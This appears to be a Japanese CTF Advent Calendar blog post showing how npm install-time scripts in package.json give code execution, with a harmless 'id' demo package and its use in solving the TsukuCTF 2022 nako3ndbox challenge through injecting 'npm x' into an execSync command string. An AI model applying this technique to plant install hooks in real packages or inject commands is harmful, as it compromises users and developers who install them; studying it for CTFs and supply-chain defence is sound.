evilなnpmパッケージでRCE
はじめに
この記事は、CTF Advent Calendar 2022の12日目の記事です。
昨日はkam1tsur3さんの「DMくれたよく知らん人とCTF参加してみた」でした。
タイトル読んで「いやそんなことある?!」と思わず笑ってしまいました。終盤にはちょっと仲良くなれたようでよかったです(?)。
さて、この記事では、evilなnpmパッケージを作成してRCEする方法を紹介します。
evilなnpmパッケージの作成
package.json
の scripts
には、 preinstall
、 install
、 postinstall
という、 npm install
時等に実行されるビルドスクリプトを指定できます。
確認してみましょう。
以下の内容で package.json
を作成します。
{ "name": "evil-package", "scripts": { "preinstall": "echo preinstall > /dev/tty", "install": "echo install > /dev/tty", "postinstall": "echo postinstall > /dev/tty" } }
npm install
します。
$ ls ./evil-package package.json $ npm install ./evil-package preinstall install postinstall added 1 package, and audited 3 packages in 151ms found 0 vulnerabilities
各スクリプトが実行されましたね。
あとは、スクリプトの内容を悪意あるものに変更すればOKです。
なお、 --ignore-scripts
オプションが有効な場合は実行されません。
$ npm install --ignore-scripts ./evil-package added 1 package, and audited 3 packages in 138ms found 0 vulnerabilities
パッケージの公開
パッケージ公開の手順は本質的ではないですが、備忘録も兼ねて記載しておきます。
まず、公開のためには package.json
に version
が必須となるので、適当に指定しましょう。
{ "name": "evil-package", "version": "1.0.0", "scripts": { "install": "id > /dev/tty" } }
公開の方法は大きく3つあります。
今回は2を試してみます。
npm install
します。
$ npm install zeosutt/evil-package uid=1000(mitsuru) gid=1000(mitsuru) groups=1000(mitsuru),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),998(vboxsf) uid=1000(mitsuru) gid=1000(mitsuru) groups=1000(mitsuru),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),998(vboxsf) added 1 package, and audited 2 packages in 3s 1 critical severity vulnerability Some issues need review, and may require choosing a different dependency. Run `npm audit` for details.
良い感じですね。なぜか2回実行されていますが。
1 critical severity vulnerability
と出ていて、一瞬npmがこのパッケージをevilと見抜いたのかと驚きましたが、これは https://www.npmjs.com/ に存在する既存のパッケージに関する表示です。
なお、 npm install
に指定できる文字列(package-spec)のフォーマットはこちらに載っています。
問題例
任意のパッケージを npm install
してくれる問題は残念ながら記憶にないのですが、先日、任意のパッケージを npm exec
させられる問題が出ました。
npm exec
は内部でinstallを行うため、ビルドスクリプトを利用できます。
その問題というのが、TsukuCTF 2022のnako3ndboxです。
公式writeupはこちら。
要はここです。
クォート済み(実はそのクォート処理の実装が不適切という問題だったらしい)の文字列 tpath
、 a
、 b
を用いた ${tpath} x ${a} -o${b} -y
という文字列を execSync()
してくれるんですが、なかなかに自由度が低い。
そこで、 tpath
を npm
にすることで先頭を npm x
(x
は exec
のエイリアス)としたうえで、 a
をpackage-specにし、RCEへと持ち込みました。
最終的なパッケージはこちらです。
npm exec
で必要となるため、 package.json
に bin
を追加しています。
ちなみに、現時点でのなでしこ3最新版(v3.4.1)でも解けます。
おわりに
長々と書きましたが、結局は package.json
に1行追加するだけです。簡単ですね。
現実世界では、人気の高いパッケージを乗っ取って悪意あるスクリプトを設定するとか、入力ミスを狙って人気パッケージと似た名前のパッケージを作成する(タイポスクワッティング)ということが行われているみたいです。怖いですね。
明日はhamayanhamayanさんの「CTFにおけるフォレンジック入門とまとめ」です。
hamayanhamayanさんといえば、昨年一人で完走されたCTFのWebセキュリティ Advent Calendar 2021も必見ですよ。